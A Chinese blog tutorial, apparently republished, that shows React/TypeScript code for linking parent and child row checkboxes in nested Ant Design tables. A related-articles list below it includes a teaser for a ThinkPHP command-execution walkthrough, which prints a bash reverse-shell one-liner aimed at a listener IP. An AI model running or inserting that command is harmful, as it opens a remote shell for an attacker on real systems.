Antd - Table 父子表格Checkbox联动

Antd - Table 父子表格Checkbox联动

  • 前言
  • 一. 勾选父子组件联动
  • 二. 效果

前言

由于Antd中的父子组件之间,如果有多选功能,那么不会有联动的关系,需要自己实现。

一. 勾选父子组件联动

代码如下:

import React, { useState } from 'react';
import { Table } from 'antd';
const Column = Table.Column;
interface Parent {parentId: number;name: string;orderID: number;childList: Children[]
}
interface Children {name: string;childId: number;
}
const dataSource: Parent[] = [{ parentId: 1, name: '张三', orderID: 123456, childList: [{ name: '吹风机', childId: 1001, }, { name: '牛奶', childId: 1002, }] },{ parentId: 2, name: '李四', orderID: 987654, childList: [{ name: '鼠标', childId: 1003, }, { name: '键盘', childId: 1004, }] }
]
const Page = () => {const [parentSelectedRowKeys, setParentSelectedRowKeys] = useState<number[]>([])const [childSelectedRowKeys, setChildSelectedRowKeys] = useState<number[]>([])const onParentSelectChange = (record: Parent, selected: boolean) => {// 目前为止选择的父节点和子节点的RowKeyconst preParentRowKeys: number[] = [...(parentSelectedRowKeys || [])];let preChildRowKeys: number[] = [...(childSelectedRowKeys || [])];// 当前勾选的父节点,其对应的所有子节点的RowKeylet currentChildRowKeys = dataSource.find(parent => parent.parentId === record.parentId)?.childList.map(item => item.childId) || [];// 判断是否选中,选中就加入,否则从老的RowKey中删除它(去重)if (selected) {preParentRowKeys.push(record.parentId)preChildRowKeys = Array.from(new Set([...currentChildRowKeys, ...preChildRowKeys]))} else {// 否则,父节点取消选中,子节点全部取消preParentRowKeys.splice(preParentRowKeys.findIndex(parentRowKey => parentRowKey === record.parentId), 1)preChildRowKeys = preChildRowKeys.filter(childRowKey => !currentChildRowKeys.some(rowkey => rowkey === childRowKey))}// 最后重新设置父,子的SelectedRowKeyssetParentSelectedRowKeys(preParentRowKeys)setChildSelectedRowKeys(preChildRowKeys)}// 父节点选中全部const onParentSelectAll = (selected: true, selectedRows: Parent[], changeRows: Parent[]) => {let preParentRowKeys = [...(parentSelectedRowKeys || [])];let currentChildRowKeys: number[] = [];changeRows.forEach(e => {currentChildRowKeys = [...currentChildRowKeys, ...e.childList.map(child => child.childId)]});// 如果选中,那么所有子节点全部选中if (selected) {preParentRowKeys = Array.from(new Set([...preParentRowKeys, ...changeRows.map(item => item.parentId)]))setChildSelectedRowKeys(currentChildRowKeys)} else {// 否则所有子节点取消选中preParentRowKeys = preParentRowKeys.filter(item => !changeRows.some(e => e.parentId === item))setChildSelectedRowKeys([])}// 设置父节点RowKeysetParentSelectedRowKeys(preParentRowKeys)}const parentRowSelection = {selectedRowKeys: parentSelectedRowKeys,onSelect: onParentSelectChange,onSelectAll: onParentSelectAll,}const onChildSelectChange = (record: Children, selected: true, selectedRows: Children[]) => {const preChildRowKeys: number[] = [...(childSelectedRowKeys || [])];// 判断当前子节点是 取消勾选/勾选 状态,对应维护if (selected) {preChildRowKeys.push(record.childId)} else {preChildRowKeys.splice(preChildRowKeys.findIndex(item => item === record.childId), 1)}selectedRows = selectedRows.filter(a => a)// 判断子节点选中的个数,和对应当前的父节点下的子节点个数是否相等,如果是,那么对应父节点也要勾选上for (const item of dataSource) {if (item.childList.find(d => d.childId === record.childId)) {const preParentRowKeys: number[] = [...(parentSelectedRowKeys || [])];if (item.childList.length === selectedRows.length) {preParentRowKeys.push(item.parentId)} else {if (preParentRowKeys.find(rowkey => rowkey === item.parentId)) {preParentRowKeys.splice(preParentRowKeys.findIndex(rowkey => rowkey === item.parentId), 1)}}setParentSelectedRowKeys(preParentRowKeys)break;}}setChildSelectedRowKeys(preChildRowKeys)}const onChildSelectAll = (selected: true, selectedRows: Children[], changeRows: Children[]) => {let preChildRowKeys: number[] = [...(childSelectedRowKeys || [])];if (selected) {preChildRowKeys = Array.from(new Set([...preChildRowKeys, ...changeRows.map(item => item.childId)]))} else {preChildRowKeys = preChildRowKeys.filter(item => !changeRows.some(child => child.childId === item))}// 子节点全部选中或者取消全部选中,那么对应父节点的状态也要勾选或者取消勾选for (const item of dataSource) {if (item.childList.find(d => d.childId === changeRows[0].childId)) {const preParentRowKeys: number[] = [...(parentSelectedRowKeys || [])];if (selected) {//全选preParentRowKeys.push(item.parentId)} else {//取消全选preParentRowKeys.splice(preParentRowKeys.findIndex(rowkey => rowkey === item.parentId), 1)}setParentSelectedRowKeys(preParentRowKeys)break;}}setChildSelectedRowKeys(preChildRowKeys)}const childRowSelection = {selectedRowKeys: childSelectedRowKeys,onSelect: onChildSelectChange,onSelectAll: onChildSelectAll}const expandedRowRender = (record: Parent) => {const { childList } = record;return <Table dataSource={childList} rowKey={'childId'} rowSelection={childRowSelection} pagination={false}><Column key={'childId'} dataIndex={'childId'} title={'childId'} /><Column key={'name'} dataIndex={'name'} title={'购买产品'} /></Table>}return <><Table dataSource={dataSource} rowKey={'parentId'} expandable={{ expandedRowRender }} rowSelection={parentRowSelection} pagination={false}><Column key={'parentId'} dataIndex={'parentId'} title={'ID'} /><Column key={'name'} dataIndex={'name'} title={'姓名'} /><Column key={'orderID'} dataIndex={'orderID'} title={'订单号'} /></Table></>
}export default Page;

注意:

  1. 可以选择Redux去存储父子组件对应的RowKey,否则就要在同一个组件中维护状态。
  2. 建议把类型定义描述好,否则父子组件联动很容易出现问题,不要总是写any,否则很难维护的。

二. 效果

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/390216.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【靶场实操】sql-labs通关详解----第二节:前端页面相关(Less-11-Less-17)

SQL注入攻击是一种针对Web应用程序的安全漏洞&#xff0c;那么自然&#xff0c;SQL注入攻击也和前端页面息息相关&#xff0c;用户输入未被正确处理、动态查询的构建、前端JavaScript代码错误&#xff0c;等等我问题都可能造成安全威胁。 在上一节&#xff0c;我们了解了基础的…

springboot书店销售管理系统-计算机毕业设计源码09304

摘要 随着互联网的普及和发展&#xff0c;线上书店越来越受到人们的欢迎。为了更好地管理书店的销售活动&#xff0c;提高用户体验&#xff0c;开发一个基于Springboot的书店销售管理系统是至关重要的。这种系统可以帮助书店管理员更高效地管理书籍、订单和用户信息&#xff0c…

维修雅萌五代射频仪

维修雅萌五代射频仪&#xff0c;主板进水&#xff0c;看起来有点严重&#xff0c;看看这回能不能把它修好

力扣SQL50 2016年的投资 窗口函数

Problem: 585. 2016年的投资 &#x1f468;‍&#x1f3eb; 参考题解 Code SELECT ROUND(SUM(tiv_2016), 2) AS tiv_2016 -- 对符合条件的记录计算 tiv_2016 的总和&#xff0c;并保留两位小数 FROM (SELECTtiv_2016, -- 选取 tiv_2016 …

参数包 emplace_back lambda

参数包 下面的参数args前面有省略号&#xff0c;所以它就是一个可变模版参数&#xff0c;我们把带省略号的参数称为“参数包”&#xff0c;它里面包含了0到N&#xff08;N>0&#xff09;个模版参数。 // Args是一个模板参数包&#xff0c;args是一个函数形参参数包 // 声明一…

【动态规划-最大子段和】力扣1191. K 次串联后最大子数组之和

给定一个整数数组 arr 和一个整数 k &#xff0c;通过重复 k 次来修改数组。 例如&#xff0c;如果 arr [1, 2] &#xff0c; k 3 &#xff0c;那么修改后的数组将是 [1, 2, 1, 2, 1, 2] 。 返回修改后的数组中的最大的子数组之和。注意&#xff0c;子数组长度可以是 0&…

【论文阅读visual grounding】QRNet论文解读与关键代码实现

Shifting More Attention to Visual Backbone: Query-modulated Refinement Networks for End-to-End Visual Grounding 论文链接&#xff1a;https://arxiv.org/abs/2203.15442 代码链接&#xff1a;https://github.com/z-w-wang/QRNet Motivation 视觉定位&#xff08;visua…

2023-2024年 Java开发岗面试题经验分享

在各行各业中&#xff0c;面试前我们总会思索一个问题&#xff1a;究竟什么样的求职者能获得面试官的青睐&#xff1f;作为求职者&#xff0c;我们又该如何准备&#xff0c;以应对各种面试官的挑战&#xff1f;在这激烈的竞争里&#xff0c;如何才能让自己从众多应聘者中脱颖而…

ai web 1.0靶机漏洞渗透详解

一、导入靶机 解压下载好的靶机&#xff0c;然后打开VMware&#xff0c;点击文件》打开》找到刚刚解压的靶机点击下面的文件》打开 确认是靶机的网络连接模式是NAT模式 二、信息收集 1、主机发现 在本机的命令窗口输入ipconfig查看VMnet8这块网卡&#xff0c;这块网卡就是虚…

历届奥运会奖牌数据(1896年-2024年7月)

奥运会&#xff0c;全称奥林匹克运动会&#xff08;Olympic Games&#xff09;&#xff0c;是国际奥林匹克委员会主办的世界规模最大的综合性体育赛事&#xff0c;每四年一届&#xff0c;会期不超过16天。这项历史悠久的赛事起源于古希腊&#xff0c;现代奥运会则始于1896年的希…

抖音豆包大模型AI写作教程

简数采集器支持调用字节跳动抖音的豆包AI大模型API接口&#xff0c;用于对采集的数据进行研究分析&#xff0c;内容写作等。 抖音豆包大模型AI写作使用教程&#xff1a; 目录 1.启用豆包AI大模型API功能 2.设置豆包API处理规则 3.应用API规则处理数据 4.获取AI处理结果 1…

ATTCK实战系列-红队评估 (一)Vulnstack三层网络域渗透

目录 一、搭建环境 1.靶场下载地址&#xff1a; 2、网络拓扑 3、环境配置 Win7&#xff08;外网服务器 &#xff09; Win2008&#xff08;域控&#xff09; Win2003&#xff08;域成员&#xff09; 4、启动环境 二、信息收集 1、端口扫描 2、目录扫描 三、漏洞利用…

目标检测,目标跟踪,目标追踪

个人专做目标检测&#xff0c;目标跟踪&#xff0c;目标追踪&#xff0c;deepsort。YOLOv5 yolov8 yolov7 yolov3运行指导、环境配置、数据集配置等&#xff08;也可解决代码bug&#xff09;&#xff0c;cpu&#xff0c;gpu&#xff0c;可直接运行&#xff0c;本地安装或者远程…

springboot基于微信老人健康与饮食管理系统-计算机毕业设计源码82939

基于微信老人健康与饮食管理系统的小程序 摘 要 基于Spring Boot的微信老人健康与饮食管理系统的小程序致力于为老年人提供便捷的健康管理和饮食指导服务。该小程序整合了健康资讯浏览、食谱推荐、健康评估等功能模块&#xff0c;通过系统的设计与实现&#xff0c;旨在帮助老年…

uniapp全局分享功能实现方法(依赖小程序右上角的分享按钮)

1、uniapp开发小程序时默认是关闭分享功能的。点击右上角三个点可查看&#xff0c;效果图如下&#xff1a; 2、在utils文件夹下新建share.js文件&#xff0c;名字任起。&#xff08;使用的是全局分享&#xff0c;因为一个一个页面的去分享太麻烦且没必要。&#xff09; export…

### 微软的传奇与未来:从车库到云端的飞跃

今天我要和大家聊聊科技界的超级明星——微软。这家公司几乎每个人都听过&#xff0c;从90年Windows全家桶&#xff0c;到现在的云端革命&#xff0c;微软的故事简直有点儿像科技界的“美国梦”。 #### **车库里的梦想** 一切都得从1975年说起。当时&#xff0c;比尔盖茨和保…

thinkphp之命令执行漏洞复现

实战&#xff1a; fofa搜索thinkphp-- 第一步&#xff1a;先在dns平台上&#xff0c;点击Get SubDomain &#xff0c;监控我们的注入效果 返回dnslog查看到了Java的版本信息 打开kali监听端口 进行base64编码 bash -i >& /dev/tcp/192.168.189.150/8080 0>&1 …

AS400==tutorial for Beginners

系统AS400 语言RPGLE 参考视频&#xff1a; https://www.youtube.com/watch?vFqgwYsp7mjk&listPL3W4xRdnQJHVWWmYX1Klji7QUk_PQhq0t&index5 Lesson 1 | Introduction to As-400 and setting up As-400 Environment. 客户端软件TN5250 Terminal Emulation for Window…

Null Reference: 避免和解决空引用错误

Null Reference: 避免和解决空引用错误 &#x1f6ab; **Null Reference: 避免和解决空引用错误 &#x1f6ab;**摘要引言正文内容1. 理解空引用错误1.1 什么是空引用1.2 空引用的影响 2. 空引用错误的常见原因2.1 未初始化的变量2.2 访问已被清空的对象2.3 方法返回空引用 3. …

U盘数据恢复不再难:2024年4款工具,找回你“躲藏”的记忆

现在市面上有一些非常棒的U盘数据恢复软件&#xff0c;它们特别好用&#xff0c;就算你对电脑不太懂也能轻松搞定。这些软件能在几分钟之内帮你检查U盘&#xff0c;找出那些被误删的照片、文件和视频&#xff0c;让你可以轻松把它们找回来。不管你是自己用还是工作需要&#xf…